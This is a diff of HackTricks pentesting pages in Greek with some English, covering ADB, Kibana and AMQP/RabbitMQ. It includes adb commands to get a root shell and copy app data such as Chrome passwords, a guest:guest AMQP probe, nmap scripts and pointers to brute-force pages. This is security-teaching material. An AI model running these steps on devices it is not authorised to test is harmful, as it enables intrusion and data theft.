* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Από [τα έγγραφα](https://developer.android.com/studio/command-line/adb):
From [the docs](https://developer.android.com/studio/command-line/adb):
Το **Android Debug Bridge** (adb) είναι ένα ευέλικτο εργαλείο γραμμής εντολών που σας επιτρέπει να επικοινωνείτε με ένα συσκευή. Η εντολή adb διευκολύνει μια ποικιλία ενεργειών συσκευής, όπως **εγκατάσταση και αποσφαλμάτωση εφαρμογών**, και παρέχει **πρόσβαση σε ένα Unix κέλυφος** που μπορείτε να χρησιμοποιήσετε για να εκτελέσετε μια ποικιλία εντολών σε μια συσκευή.
**Android Debug Bridge** (adb) είναι ένα πολυλειτουργικό εργαλείο γραμμής εντολών που σας επιτρέπει να επικοινωνείτε με μια συσκευή. Η εντολή adb διευκολύνει μια ποικιλία ενεργειών της συσκευής, όπως η **εγκατάσταση και αποσφαλμάτωση εφαρμογών**, και παρέχει **πρόσβαση σε ένα Unix shell** που μπορείτε να χρησιμοποιήσετε για να εκτελέσετε μια ποικιλία εντολών σε μια συσκευή.
**Προεπιλεγμένη θύρα**: 5555.
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Σύνδεση
## Connect
Εάν βρείτε την υπηρεσία ADB που εκτελείται σε ένα θύρα ενός συσκευής και μπορείτε να συνδεθείτε σε αυτήν, **μπορείτε να αποκτήσετε ένα κέλυφος μέσα στο σύστημα:**
Αν βρείτε την υπηρεσία ADB να τρέχει σε μια θύρα μιας συσκευής και μπορείτε να συνδεθείτε σε αυτήν, **μπορείτε να αποκτήσετε ένα shell μέσα στο σύστημα:**
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
Για περισσότερες εντολές ADB, ελέγξτε την ακόλουθη σελίδα:
Για περισσότερες εντολές ADB, ελέγξτε την παρακάτω σελίδα:
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
{% endcontent-ref %}
### Αντιγραφή δεδομένων εφαρμογής
### Εξαγωγή Δεδομένων Εφαρμογής
Για να κατεβάσετε πλήρως τα δεδομένα μιας εφαρμογής, μπορείτε να:
Για να κατεβάσετε εντελώς τα δεδομένα μιας εφαρμογής, μπορείτε:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
Μπορείτε να χρησιμοποιήσετε αυτό το κόλπο για να **ανακτήσετε ευαίσθητες πληροφορίες όπως οι κωδικοί πρόσβασης του Chrome**. Για περισσότερες πληροφορίες σχετικά με αυτό, ελέγξτε τις πληροφορίες και τις αναφορές που παρέχονται [**εδώ**](https://github.com/carlospolop/hacktricks/issues/274).
Μπορείτε να χρησιμοποιήσετε αυτό το κόλπο για να **ανακτήσετε ευαίσθητες πληροφορίες όπως κωδικούς πρόσβασης του chrome**. Για περισσότερες πληροφορίες σχετικά με αυτό, ελέγξτε τις πληροφορίες που παρέχονται στις αναφορές [**εδώ**](https://github.com/carlospolop/hacktricks/issues/274).
## Shodan
* `android debug bridge`
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,53 +1,55 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Βασικές Πληροφορίες
# Basic Information
Το Kibana είναι γνωστό για την ικανότητά του να αναζητά και οπτικοποιεί δεδομένα εντός του Elasticsearch, συνήθως λειτουργώντας στη θύρα **5601**. Λειτουργεί ως η διεπαφή για τις λειτουργίες παρακολούθησης, διαχείρισης και ασφάλειας του συστήματος Elastic Stack.
Το Kibana είναι γνωστό για την ικανότητά του να αναζητά και να οπτικοποιεί δεδομένα μέσα στο Elasticsearch, συνήθως τρέχοντας στην θύρα **5601**. Λειτουργεί ως η διεπαφή για την παρακολούθηση, διαχείριση και ασφάλεια του κλάσματος Elastic Stack.
## Κατανόηση της Ταυτοποίησης
## Understanding Authentication
Η διαδικασία ταυτοποίησης στο Kibana συνδέεται αναπόσπαστα με τα **διαπιστευτήρια που χρησιμοποιούνται στο Elasticsearch**. Εάν το Elasticsearch έχει απενεργοποιημένη την ταυτοποίηση, το Kibana μπορεί να προσπελαστεί χωρίς κανένα διαπιστευτήριο. Αντίθετα, εάν το Elasticsearch είναι ασφαλισμένο με διαπιστευτήρια, τα ίδια διαπιστευτήρια απαιτούνται για την πρόσβαση στο Kibana, διατηρώντας ταυτόχρονα τα ίδια δικαιώματα χρήστη σε και τις δύο πλατφόρμες. Τα διαπιστευτήρια μπορεί να βρεθούν στο αρχείο **/etc/kibana/kibana.yml**. Εάν αυτά τα διαπιστευτήρια δεν αναφέρονται στον χρήστη **kibana_system**, μπορεί να προσφέρουν ευρύτερα δικαιώματα πρόσβασης, καθώς η πρόσβαση του χρήστη kibana_system περιορίζεται στις προγραμματιστικές διεπαφές παρακολούθησης και τον δείκτη .kibana.
Η διαδικασία της αυθεντικοποίησης στο Kibana συνδέεται άρρηκτα με τα **διαπιστευτήρια που χρησιμοποιούνται στο Elasticsearch**. Εάν το Elasticsearch έχει απενεργοποιημένη την αυθεντικοποίηση, το Kibana μπορεί να προσπελαστεί χωρίς κανένα διαπιστευτήριο. Αντίθετα, εάν το Elasticsearch είναι ασφαλισμένο με διαπιστευτήρια, τα ίδια διαπιστευτήρια απαιτούνται για την πρόσβαση στο Kibana, διατηρώντας ταυτόχρονες άδειες χρήστη και στις δύο πλατφόρμες. Τα διαπιστευτήρια μπορεί να βρεθούν στο αρχείο **/etc/kibana/kibana.yml**. Εάν αυτά τα διαπιστευτήρια δεν αφορούν τον χρήστη **kibana_system**, μπορεί να προσφέρουν ευρύτερα δικαιώματα πρόσβασης, καθώς η πρόσβαση του χρήστη kibana_system περιορίζεται σε APIs παρακολούθησης και στον δείκτη .kibana.
## Ενέργειες Μετά την Πρόσβαση
## Actions Upon Access
Μόλις εξασφαλιστεί η πρόσβαση στο Kibana, είναι συνιστώμενες διάφορες ενέργειες:
Αφού εξασφαλιστεί η πρόσβαση στο Kibana, είναι σκόπιμο να γίνουν αρκετές ενέργειες:
- Η εξερεύνηση των δεδομένων από το Elasticsearch πρέπει να είναι προτεραιότητα.
- Η δυνατότητα διαχείρισης χρηστών, συμπεριλαμβανομένης της επεξεργασίας, διαγραφής ή δημιουργίας νέων χρηστών, ρόλων ή κλειδιών API, βρίσκεται στο Stack Management -> Users/Roles/API Keys.
- Είναι σημαντικό να ελεγχθεί η εγκατεστημένη έκδοση του Kibana για γνωστές ευπάθειες, όπως η ευπάθεια RCE που εντοπίστηκε σε εκδόσεις προηγούμενες της 6.6.0 ([Περισσότερες Πληροφορίες](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
- Η εξερεύνηση δεδομένων από το Elasticsearch θα πρέπει να είναι προτεραιότητα.
- Η δυνατότητα διαχείρισης χρηστών, συμπεριλαμβανομένης της επεξεργασίας, διαγραφής ή δημιουργίας νέων χρηστών, ρόλων ή κλειδιών API, βρίσκεται κάτω από Διαχείριση Στοίβας -> Χρήστες/Ρόλοι/Κλειδιά API.
- Είναι σημαντικό να ελέγξετε την εγκατεστημένη έκδοση του Kibana για γνωστές ευπάθειες, όπως η ευπάθεια RCE που εντοπίστηκε σε εκδόσεις πριν από την 6.6.0 ([More Info](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
## Σκέψεις για SSL/TLS
## SSL/TLS Considerations
Σε περιπτώσεις όπου το SSL/TLS δεν είναι ενεργοποιημένο, πρέπει να αξιολογηθεί προσεκτικά η πιθανότητα διαρροής ευαίσθητων πληροφοριών.
Σε περιπτώσεις όπου το SSL/TLS δεν είναι ενεργοποιημένο, η πιθανότητα διαρροής ευαίσθητων πληροφοριών θα πρέπει να αξιολογηθεί προσεκτικά.
## Αναφορές
## References
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# 5671,5672 - Ελεγκτική δοκιμή AMQP
# 5671,5672 - Pentesting AMQP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Από το [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
From [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
> Το **RabbitMQ** είναι ένα λογισμικό **ουράς μηνυμάτων** γνωστό και ως _message broker_ ή _queue manager_. Απλά, είναι ένα λογισμικό όπου καθορίζονται ουρές, στις οποίες οι εφαρμογές συνδέονται για να μεταφέρουν ένα μήνυμα ή μηνύματα.\
> Ένα **μήνυμα μπορεί να περιλαμβάνει οποιοδήποτε είδος πληροφορίας**. Μπορεί, για παράδειγμα, να περιέχει πληροφορίες για ένα διαδικασία ή εργασία που πρέπει να ξεκινήσει σε μια άλλη εφαρμογή (η οποία μπορεί ακόμα να βρίσκεται σε έναν άλλο διακομιστή), ή μπορεί απλά να είναι ένα απλό κείμενο μήνυμα. Το λογισμικό του διαχειριστή ουράς αποθηκεύει τα μηνύματα μέχρι να συνδεθεί μια εφαρμογή που τα λαμβάνει και να αφαιρέσει ένα μήνυμα από την ουρά. Η εφαρμογή που το λαμβάνει επεξεργάζεται στη συνέχεια το μήνυμα.\
Ορισμός από .
> **RabbitMQ** είναι ένα **λογισμικό διαχείρισης μηνυμάτων** που είναι επίσης γνωστό ως _μεσίτης μηνυμάτων_ ή ιαχειριστής ουρών._ Απλά, είναι λογισμικό όπου ορίζονται οι ουρές, στις οποίες συνδέονται οι εφαρμογές για να μεταφέρουν ένα μήνυμα ή μηνύματα.\
> Ένα **μήνυμα μπορεί να περιλαμβάνει οποιοδήποτε είδος πληροφορίας**. Μπορεί, για παράδειγμα, να έχει πληροφορίες σχετικά με μια διαδικασία ή εργασία που θα πρέπει να ξεκινήσει σε μια άλλη εφαρμογή (η οποία μπορεί να είναι ακόμη και σε άλλο διακομιστή), ή μπορεί να είναι απλώς ένα απλό κείμενο. Το λογισμικό διαχείρισης ουρών αποθηκεύει τα μηνύματα μέχρι να συνδεθεί μια εφαρμογή παραλήπτης και να πάρει ένα μήνυμα από την ουρά. Η εφαρμογή παραλήπτης επεξεργάζεται στη συνέχεια το μήνυμα.\
Definition from .
**Προεπιλεγμένη θύρα**: 5672,5671
**Default port**: 5672,5671
```
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
```
## Απαρίθμηση
## Enumeration
### Χειροκίνητη
### Manual
```python
import amqp
#By default it uses default credentials "guest":"guest"
@ -38,9 +39,7 @@ conn.connect()
for k, v in conn.server_properties.items():
print(k, v)
```
### Αυτόματο
Η αυτόματη λειτουργία είναι μια δυνατότητα που επιτρέπει στο σύστημα να εκτελεί εργασίες ή διαδικασίες χωρίς την ανθρώπινη παρέμβαση. Αυτό μπορεί να γίνει με τη χρήση προκαθορισμένων κανόνων ή προγραμμάτων που εκτελούνται αυτόματα. Η αυτόματη λειτουργία μπορεί να εφαρμοστεί σε διάφορους τομείς, όπως η τεχνολογία, η βιομηχανία και οι υπηρεσίες δικτύου. Στον τομέα της ασφάλειας, η αυτόματη λειτουργία μπορεί να χρησιμοποιηθεί για την εκτέλεση επιθέσεων ή για την ανίχνευση ευπάθειών σε συστήματα.
### Αυτόματη
```bash
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
@ -60,40 +59,41 @@ PORT STATE SERVICE VERSION
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
```
### Βίαιη Δύναμη
### Brute Force
* [**Βίαιη Δύναμη Πρωτοκόλλου AMQP**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
* [**Βίαιη Δύναμη Πρωτοκόλλου STOMP**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
* [**AMQP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
* [**STOMP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
## Άλλες θύρες RabbitMQ
Στην [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) μπορείτε να βρείτε ότι **ο rabbitmq χρησιμοποιεί αρκετές θύρες**:
Στο [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) μπορείτε να βρείτε ότι **το rabbitmq χρησιμοποιεί πολλές θύρες**:
* **1883, 8883**: (πελάτες MQTT](http://mqtt.org) χωρίς και με TLS, εάν ο [πρόσθετος MQTT](https://www.rabbitmq.com/mqtt.html) είναι ενεργοποιημένος. [**Μάθετε περισσότερα για το πώς να δοκιμάσετε το MQTT εδώ**](1883-pentesting-mqtt-mosquitto.md).
* **4369: epmd**, ένα υπηρεσία ανακάλυψης ομοτίμων που χρησιμοποιείται από τους κόμβους RabbitMQ και τα εργαλεία γραμμής εντολών. [**Μάθετε περισσότερα για το πώς να δοκιμάσετε αυτήν την υπηρεσία εδώ**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
* **5672, 5671**: χρησιμοποιούνται από πελάτες AMQP 0-9-1 και 1.0 χωρίς και με TLS
* **15672**: πελάτες [HTTP API](https://www.rabbitmq.com/management.html), [διαχείριση UI](https://www.rabbitmq.com/management.html) και [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (μόνο εάν ο [πρόσθετος διαχείρισης](https://www.rabbitmq.com/management.html) είναι ενεργοποιημένος). [**Μάθετε περισσότερα για το πώς να δοκιμάσετε αυτήν την υπηρεσία εδώ**](15672-pentesting-rabbitmq-management.md).
* 15674: πελάτες STOMP-over-WebSockets (μόνο εάν ο [πρόσθετος Web STOMP](https://www.rabbitmq.com/web-stomp.html) είναι ενεργοποιημένος)
* 15675: πελάτες MQTT-over-WebSockets (μόνο εάν ο [πρόσθετος Web MQTT](https://www.rabbitmq.com/web-mqtt.html) είναι ενεργοποιημένος)
* 15692: μετρήσεις Prometheus (μόνο εάν ο [πρόσθετος Prometheus](https://www.rabbitmq.com/prometheus.html) είναι ενεργοποιημένος)
* 25672: χρησιμοποιείται για επικοινωνία μεταξύ κόμβων και εργαλείων γραμμής εντολών (θύρα διανομής Erlang) και εκχωρείται από ένα δυναμικό εύρος (περιορισμένο σε μία θύρα από προεπιλογή, υπολογισμένη ως θύρα AMQP + 20000). Εκτός εάν οι εξωτερικές συνδέσεις σε αυτές τις θύρες είναι πραγματικά απαραίτητες (π.χ. ο σύμπλεγμα χρησιμοποιεί [συνδεσμολογία](https://www.rabbitmq.com/federation.html) ή χρησιμοποιούνται εργαλεία γραμμής εντολών σε μηχανές εκτός του υποδικτύου), αυτές οι θύρες δεν πρέπει να εκτίθενται δημοσίως. Δείτε τον [οδηγό δικτύωσης](https://www.rabbitmq.com/networking.html) για λεπτομέρειες. **Μόνο 9 από αυτές τις θύρες είναι ανοιχτές στο διαδίκτυο**.
* 35672-35682: χρησιμοποιούνται από εργαλεία γραμμής εντολών (θύρες πελάτη κατανομής Erlang) για επικοινωνία με κόμβους και εκχωρούνται από ένα δυναμικό εύρος (υπολογίζονται ως θύρα κατανομής διακομιστή + 10000 έως θύρα κατανομής διακομιστή + 10010). Δείτε τον [οδηγό δικτύωσης](https://www.rabbitmq.com/networking.html) για λεπτομέρειες.
* 61613, 61614: [πελάτες STOMP](https://stomp.github.io/stomp-specification-1.2.html) χωρίς και με TLS (μόνο εάν ο [πρόσθετος STOMP](https://www.rabbitmq.com/stomp.html) είναι ενεργοποιημένος). Λιγότερες από 10 συσκευές με αυτήν τη θύρα ανοιχτή και κυρίως UDP για κόμβους DHT.
* **1883, 8883**: ([MQTT clients](http://mqtt.org) χωρίς και με TLS, αν το [MQTT plugin](https://www.rabbitmq.com/mqtt.html) είναι ενεργοποιημένο. [**Μάθετε περισσότερα για το πώς να κάνετε pentest στο MQTT εδώ**](1883-pentesting-mqtt-mosquitto.md).
* **4369: epmd**, μια υπηρεσία ανακάλυψης peer που χρησιμοποιείται από τους κόμβους RabbitMQ και τα εργαλεία CLI. [**Μάθετε περισσότερα για το πώς να κάνετε pentest σε αυτή την υπηρεσία εδώ**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
* **5672, 5671**: χρησιμοποιούνται από τους πελάτες AMQP 0-9-1 και 1.0 χωρίς και με TLS
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) πελάτες, [διαχείριση UI](https://www.rabbitmq.com/management.html) και [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (μόνο αν το [management plugin](https://www.rabbitmq.com/management.html) είναι ενεργοποιημένο). [**Μάθετε περισσότερα για το πώς να κάνετε pentest σε αυτή την υπηρεσία εδώ**](15672-pentesting-rabbitmq-management.md).
* 15674: STOMP-over-WebSockets πελάτες (μόνο αν το [Web STOMP plugin](https://www.rabbitmq.com/web-stomp.html) είναι ενεργοποιημένο)
* 15675: MQTT-over-WebSockets πελάτες (μόνο αν το [Web MQTT plugin](https://www.rabbitmq.com/web-mqtt.html) είναι ενεργοποιημένο)
* 15692: Μετρήσεις Prometheus (μόνο αν το [Prometheus plugin](https://www.rabbitmq.com/prometheus.html) είναι ενεργοποιημένο)
* 25672: χρησιμοποιείται για επικοινωνία μεταξύ κόμβων και εργαλείων CLI (θύρα διανομής Erlang) και έχει εκχωρηθεί από μια δυναμική περιοχή (περιορισμένη σε μία μόνο θύρα από προεπιλογή, υπολογισμένη ως θύρα AMQP + 20000). Εκτός αν οι εξωτερικές συνδέσεις σε αυτές τις θύρες είναι πραγματικά απαραίτητες (π.χ. ο συμπλέκτης χρησιμοποιεί [federation](https://www.rabbitmq.com/federation.html) ή τα εργαλεία CLI χρησιμοποιούνται σε μηχανές εκτός του υποδικτύου), αυτές οι θύρες δεν θα πρέπει να είναι δημόσια εκτεθειμένες. Δείτε τον [οδηγό δικτύωσης](https://www.rabbitmq.com/networking.html) για λεπτομέρειες. **Μόνο 9 από αυτές τις θύρες είναι ανοιχτές στο διαδίκτυο**.
* 35672-35682: χρησιμοποιούνται από εργαλεία CLI (θύρες πελάτη διανομής Erlang) για επικοινωνία με κόμβους και έχουν εκχωρηθεί από μια δυναμική περιοχή (υπολογισμένη ως θύρα διανομής διακομιστή + 10000 έως θύρα διανομής διακομιστή + 10010). Δείτε τον [οδηγό δικτύωσης](https://www.rabbitmq.com/networking.html) για λεπτομέρειες.
* 61613, 61614: [STOMP clients](https://stomp.github.io/stomp-specification-1.2.html) χωρίς και με TLS (μόνο αν το [STOMP plugin](https://www.rabbitmq.com/stomp.html) είναι ενεργοποιημένο). Λιγότερες από 10 συσκευές με αυτή τη θύρα ανοιχτή και κυρίως UDP για κόμβους DHT.
## Shodan
* `AMQP`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
